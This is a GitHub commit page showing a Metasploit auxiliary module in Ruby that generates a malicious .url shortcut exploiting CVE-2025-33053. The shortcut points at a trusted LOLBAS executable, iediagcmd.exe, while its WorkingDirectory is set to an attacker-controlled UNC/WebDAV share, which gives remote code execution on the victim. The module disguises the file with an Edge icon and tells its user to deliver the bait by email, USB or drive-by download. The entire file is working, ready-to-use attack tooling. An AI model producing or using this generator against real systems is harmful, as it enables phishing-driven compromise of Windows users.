Skip to content

Commit d3145f7

Browse files
committed
Add auxiliary module for CVE-2025-33053 .url file generator
1 parent 9d52a2b commit d3145f7

File tree

1 file changed

+68
-68
lines changed

1 file changed

+68
-68
lines changed
Lines changed: 68 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -1,68 +1,68 @@
1-
##
2-
# CVE-2025-33053 .URL Generator - Full Options
3-
##
4-
5-
require 'msf/core'
6-
7-
class MetasploitModule < Msf::Auxiliary
8-
9-
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'CVE-2025-33053 .URL File Generator',
12-
'Description' => %q{
13-
Generates a .url file that abuses CVE-2025-33053 to achieve RCE via a UNC path
14-
pointing to a malicious WebDAV share. This works by setting the WorkingDirectory
15-
to a remote UNC path while referencing a trusted LOLBAS executable.
16-
},
17-
'Author' => [ 'Dev Bui Hieu'],
18-
'License' => MSF_LICENSE,
19-
'References' =>
20-
[
21-
['CVE', '2025-33053'],
22-
['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
23-
],
24-
'DisclosureDate' => '2025-06-11'
25-
))
26-
27-
register_options(
28-
[
29-
OptString.new('IP', [true, 'Attacker IP address or domain for UNC path']),
30-
OptString.new('SHARE', [false, 'WebDAV share name (default: webdav)', 'webdav']),
31-
OptString.new('OUTFILE', [false, 'Output .url file name (default: bait.url)', 'bait.url']),
32-
OptString.new('EXE', [false, 'LOLBAS executable path on victim', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
33-
OptString.new('ICON', [false, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']),
34-
OptInt.new('INDEX', [false, 'Icon index', 13]),
35-
OptString.new('MODIFIED', [false, 'Modified hex timestamp', '20F06BA06D07BD014D'])
36-
]
37-
)
38-
end
39-
40-
def run
41-
ip = datastore['IP']
42-
share = datastore['SHARE'] || 'webdav'
43-
outfile = datastore['OUTFILE'] || 'bait.url'
44-
exe = datastore['EXE'] || 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe'
45-
icon = datastore['ICON'] || 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'
46-
index = datastore['INDEX'] || 13
47-
modified = datastore['MODIFIED'] || '20F06BA06D07BD014D'
48-
49-
unc_path = "\\\\#{ip}\\#{share}\\"
50-
51-
url_content = <<~EOF
52-
[InternetShortcut]
53-
URL=#{exe}
54-
WorkingDirectory=#{unc_path}
55-
ShowCommand=7
56-
IconIndex=#{index}
57-
IconFile=#{icon}
58-
Modified=#{modified}
59-
EOF
60-
61-
out_path = ::File.join(Msf::Config.local_directory, outfile)
62-
File.write(out_path, url_content)
63-
64-
print_good("✔ .url file created at: #{out_path}")
65-
print_status("UNC path: #{unc_path}")
66-
print_status("Deliver the file via email, USB, or drive-by download.")
67-
end
68-
end
1+
##
2+
# CVE-2025-33053 .URL Generator - Full Options
3+
##
4+
5+
require 'msf/core'
6+
7+
class MetasploitModule < Msf::Auxiliary
8+
9+
def initialize(info = {})
10+
super(update_info(info,
11+
'Name' => 'CVE-2025-33053 .URL File Generator',
12+
'Description' => %q{
13+
Generates a .url file that abuses CVE-2025-33053 to achieve RCE via a UNC path
14+
pointing to a malicious WebDAV share. This works by setting the WorkingDirectory
15+
to a remote UNC path while referencing a trusted LOLBAS executable.
16+
},
17+
'Author' => [ 'Dev Bui Hieu'],
18+
'License' => MSF_LICENSE,
19+
'References' =>
20+
[
21+
['CVE', '2025-33053'],
22+
['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
23+
],
24+
'DisclosureDate' => '2025-06-11'
25+
))
26+
27+
register_options(
28+
[
29+
OptString.new('IP', [true, 'Attacker IP address or domain for UNC path']),
30+
OptString.new('SHARE', [false, 'WebDAV share name (default: webdav)', 'webdav']),
31+
OptString.new('OUTFILE', [false, 'Output .url file name (default: bait.url)', 'bait.url']),
32+
OptString.new('EXE', [false, 'LOLBAS executable path on victim', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
33+
OptString.new('ICON', [false, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']),
34+
OptInt.new('INDEX', [false, 'Icon index', 13]),
35+
OptString.new('MODIFIED', [false, 'Modified hex timestamp', '20F06BA06D07BD014D'])
36+
]
37+
)
38+
end
39+
40+
def run
41+
ip = datastore['IP']
42+
share = datastore['SHARE'] || 'webdav'
43+
outfile = datastore['OUTFILE'] || 'bait.url'
44+
exe = datastore['EXE'] || 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe'
45+
icon = datastore['ICON'] || 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'
46+
index = datastore['INDEX'] || 13
47+
modified = datastore['MODIFIED'] || '20F06BA06D07BD014D'
48+
49+
unc_path = "\\\\#{ip}\\#{share}\\"
50+
51+
url_content = <<~EOF
52+
[InternetShortcut]
53+
URL=#{exe}
54+
WorkingDirectory=#{unc_path}
55+
ShowCommand=7
56+
IconIndex=#{index}
57+
IconFile=#{icon}
58+
Modified=#{modified}
59+
EOF
60+
61+
out_path = ::File.join(Msf::Config.local_directory, outfile)
62+
File.write(out_path, url_content)
63+
64+
print_good("✔ .url file created at: #{out_path}")
65+
print_status("UNC path: #{unc_path}")
66+
print_status("Deliver the file via email, USB, or drive-by download.")
67+
end
68+
end

0 commit comments

Comments
 (0)